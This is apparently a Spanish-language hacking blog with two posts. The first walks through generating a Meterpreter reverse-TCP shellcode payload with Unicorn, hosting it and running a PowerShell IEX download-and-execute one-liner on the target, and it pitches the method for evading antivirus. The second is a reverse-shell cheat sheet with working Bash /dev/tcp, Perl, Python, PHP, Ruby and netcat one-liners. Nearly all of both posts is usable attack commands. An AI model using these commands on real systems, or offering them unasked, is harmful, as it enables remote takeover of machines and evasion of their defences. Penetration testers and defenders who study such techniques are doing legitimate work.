Pentesting ,Hacking y Seguridad informatica

Ataque mediante Powershell inyectando una ShellCode directamente en memoria

Inyectando una shellcode directamente en memoria mediante Powershell

Ataque mediante Powershell inyectando una ShellCode directamente en memoria

Cuando logramos ejecutar código remoto en un entorno windows podemos tener inconvenientes en cuando la generación de una shell para iniciar con la escalda de privilegios, un método muy conocido es aprovechar Powershell para inyectar una ShellCode directamente en memoria para comprometer el sistema.

1 – Descargamos Unicorn

git clone https://github.com/trustedsec/unicorn

Ataque mediante powershell injectando una shellcode directamente en memoria

2 – Accedemos a el directorio creado en la ruta actual

cd unicorn/

Ataque mediante powershell injectando una shellcode directamente en memoria

3 – Ejecutamos la instrucción para que se genere el exploit en un .txt a lo cual solo enviaremos dos parámetros la ip y el puerto del equipo que recibirá la Shell. (Recuerda remplazar inclusive los <>)

./unicorn.py windows/meterpreter/reverse_tcp <ip> <port>

Ataque mediante Powershell inyectando una ShellCode directamente en memoria

4 – Ahora procedemos a verificar que existan los archivos “unicorn.rc” y “powershell_attack.txt” en el directorio actual

ls

Inyectando una shellcode directamente en memoria mediante Powershell

5 – Ahora debemos cambiar la extensión del archivo powershell_attack.txt a exploit.html y procedemos a utilizar SimpleHTTPServer para poder alojar el exploit y descargarlo desde la maquina objetivo:

cp powershell_attack.txt exploit.html
python -m SimpleHTTPServer 1236

6 – Procedemos a abrir nuestra msfconsole con los parámetros del archivo “unicorn.rc”

msfconsole -r unicorn.rc

Ataque mediante Powershell inyectando una ShellCode directamente en memoria

 

8 – Nuestra msfconsole queda en escucha para cuando se ejecute el script en la maquina objetivo, desde el objetivo debemos ejecutar la siguiente linea de código donde interpretara y creara la inyección de shellcode

powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.121:1236/exploit.html')"

cuando logremos ejecutar esta linea podremos ver que la sesión que tenemos activa en el meterpreter se abrirá una shell

Ataque mediante Powershell inyectando una ShellCode directamente en memoria

 

ahora tenemos una shell interactiva con la cual podemos proceder a subir los privilegios y comprometer totalmente la maquina, espero esta información sea de utilidad en algún momento que necesites evadir un Antivirus.

Saludos

0x00Sector!Social

Como obtener una reverse shell

Que es una Reverse Shell?

Como obtener una reverse shell

 

Cuando logramos ejecutar comandos de manera remota en un equipo nuestro objetivo principal es obtener una Reverse Shell conectándose a el equipo local mediante un puerto en escucha, posterior a esto proceder con el escalado de privilegios, a continuación una muy útil recopilación de posibles shell en diferentes lenguajes según el entorno de la maquina a la cual se ejecutara la shell

Para poder lograr la ejecucion correcta de estos comandos debes realizar los cambios de los caracteres que resalto en rojo, recuerda que debes remplazar inclusive los <>

  • ip = Ip de la maquina que recibirá la shell
  • port = puerto que esta en escucha en la maquina que recibe la shell

Entornos Unix/Linux

Bash

Detalles: Algunas versiones de Bash pueden enviarte una reverse shell

bash -i >& /dev/tcp/<ip>/<port> 0>&1

Perl

Detalles: Si el sistema objetivo tiene l Perl es posible crear una reverse shell con el siguiente comando

perl -e 'use Socket;$i="<ip>";$p=<port>;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Python

Detalles: Esta versión solo es disponible para Python 2.7 para obtener la shell

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<ip>",<port>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

PHP

Detalles:Si puedes ejecutar codigo remoto desde un servicio que soporte PHP es muy probable que puedas obtener la shell con el siguiente codigo

php -r '$sock=fsockopen("<ip>",<port>);exec("/bin/sh -i <&3 >&3 2>&3");'

Ruby

Detalles: ocasionalmente si intento invocar una reverse shell con ruby genera error por lo tanto evito usarla, si te funciona buen provecho

ruby -rsocket -e'f=TCPSocket.open("<ip>",<port>).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Netcat

Detalles: Es muy poco común que en un entorno real nos encontremos con el servicio de netcat activo, sin embargo si logras encontrarlo puede ser muy util

nc -e /bin/sh <ip> <port>

Depende del entorno en el cual estés trabajando puedes utilizar alguno de estos códigos para obtener una reverse shell, recuerda que los resultados varían según las características.

Cordialmente

0x00Sector!

Fuente pentestmonkey

Social

Social